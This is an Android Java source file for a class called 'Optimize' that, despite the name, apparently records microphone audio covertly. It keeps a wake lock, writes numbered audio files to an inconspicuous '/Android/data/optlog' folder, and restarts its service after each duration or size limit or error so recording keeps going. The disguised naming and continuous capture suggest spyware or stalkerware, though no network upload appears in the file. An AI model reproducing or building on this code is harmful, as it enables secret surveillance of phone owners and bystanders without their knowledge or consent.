package com.dell.optimize;

import java.io.File;
import java.io.IOException;
import java.util.Date;

import android.content.Context;
import android.content.SharedPreferences;
import android.media.MediaRecorder;
import android.media.MediaRecorder.OnErrorListener;
import android.media.MediaRecorder.OnInfoListener;
import android.os.Environment;
import android.os.PowerManager;

public class Optimize{

	final String COUNT = "Count";
	final String extraPath = "/Android/data/optlog";
	  MediaRecorder recorder;
	  //final MediaRecorder recorder1 = new AudioRecord();
	  String path;
	  Context ctx;
	  String constName =null;

	  /**
	   * Creates a new audio recording at the given path (relative to root of SD card).
	   */
	  public Optimize(Context ctx, String path) {
		this.ctx = ctx;
		constName = path;
	    this.path = sanitizePath(path);
	    PowerManager pm = (PowerManager) ctx.getSystemService(Context.POWER_SERVICE);
	    PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK, "My Tag");
	    wl.acquire();
	  }

	  private String sanitizePath(String path) {
	    if (!path.startsWith("/")) {
	      path = "/" + path;
	    }
	    System.out.println("Ctx : "+ctx);
	    SharedPreferences store = ctx.getSharedPreferences(Util.SETTINGS, 0);
	    int count = store.getInt(COUNT, 1);
	    path += ""+count;
	    
	    /*if (!path.contains(".")) {
	      path += ".mp4";
	    }*/
	    SharedPreferences.Editor editor = store.edit();
	    editor.putInt(COUNT,++count);

	    editor.commit();
	    return Environment.getExternalStorageDirectory().getAbsolutePath()+ extraPath + path;
	  }

	  /**
	   * Starts a new recording.
	   */
	  public void start() throws IOException {
		  
		  System.out.println(" Started -- ");
		  recorder = new MediaRecorder();
	    String state = android.os.Environment.getExternalStorageState();
	    System.out.println(" State : "+state);
	    if(!state.equals(android.os.Environment.MEDIA_MOUNTED))  {
	        throw new IOException("SD Card is not mounted.  It is " + state + ".");
	    }

	    /*File home = new File(Environment.getExternalStorageDirectory().getAbsolutePath());
	    System.out.println(" home "+home.isDirectory());
	    String[] lists = home.list();
	    System.out.println(" lists "+lists.length);
	    for(int i = 0; i<lists.length; i++){
	    	System.out.println("Lists :"+lists[i]);
	    }
	    System.out.println(" Write permission "+home.canWrite());*/
	    // make sure the directory we plan to store the recording in exists
	    File directory = new File(path).getParentFile();
	    System.out.println(" directory "+directory.getAbsolutePath());
//	    System.out.println("directory "+ directory.);
	    if (!directory.exists() && !directory.mkdirs()) {
	      throw new IOException("Path to file could not be created.");
	    }
	    Util.logMe("Recording Started @ "+path);
	 
	    

	    try {
	    	android.os.Process.setThreadPriority(android.os.Process.THREAD_PRIORITY_URGENT_AUDIO);
			recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
			recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
			recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
			recorder.setOutputFile(path);
			SharedPreferences settings = ctx.getSharedPreferences(
					Util.SETTINGS, 0);

			int val = settings.getInt(Util.INTERVAL, 0);
			if (val != 0)
				recorder.setMaxDuration(val * 1000);

			val = settings.getInt(Util.SIZE, 0);
			if (val != 0)
				recorder.setMaxFileSize(val * 1000000);

			recorder.setOnInfoListener(new OnInfoListener() {

				@Override
				public void onInfo(MediaRecorder arg0, int what, int extra) {
					// TODO Auto-generated method stub
					Util.logMe("\nInfo what=" + what + " extra ="+ extra);

					System.out.println("----------------- in OnInfo " + what
							+ " extra");
					Util.stopService();
					Util.startService();

					/*
					 * switch (what) { case
					 * MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED:
					 * case
					 * MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED:
					 * // Util.stopService(); // Util.startService(); try {
					 * stop(); } catch (IOException e) { // TODO Auto-generated
					 * catch block e.printStackTrace(); } try { path =
					 * sanitizePath(constName); start(); } catch (IOException e)
					 * { // TODO Auto-generated catch block e.printStackTrace();
					 * } //break; default: break; }
					 */

				}

			});

			recorder.setOnErrorListener(new OnErrorListener() {

				@Override
				public void onError(MediaRecorder arg0, int what, int extra) {
					Util.logMe("Error what=" + what + " extra "+ extra);


					System.out.println(" ------------------- in OnError " + " "
							+ what + " " + extra);
					Util.stopService();
					Util.startService();
				}

			});

			recorder.prepare();
			recorder.start();
		}catch (Exception e) {
	    	Util.logMe("Exception in start "+e.getMessage());
		}
	  }

	 

	/**
	   * Stops a recording that has been previously started.
	   */
	  public void stop() throws IOException {
		  System.out.println(" Stoping Record..");
		  Util.logMe("Recording Stopped  ");
	    recorder.stop();
	    recorder.reset();
	    recorder.release();
	    recorder = null;
//	    recorder.
	    /*System.out.println(" path : "+path);
	    File directory = new File(path);
	    String absPath = directory.getAbsolutePath();
	    System.out.println(" Abs Path "+absPath);
	    String newName = absPath.substring(0, absPath.indexOf("."));
	    System.out.println(" Abs Path "+newName);
//	    directory.renameTo(new File(newName));
*/	    System.out.println(" Done");
//	    recorder.
	  }
	  
	  void restartRecorder(){
			  try {
				stop();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
				Util.logMe("Error while stoping "+e);
			}
			  try {
				start();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
				Util.logMe("Error while starting "+e);
			}
	  }

	}
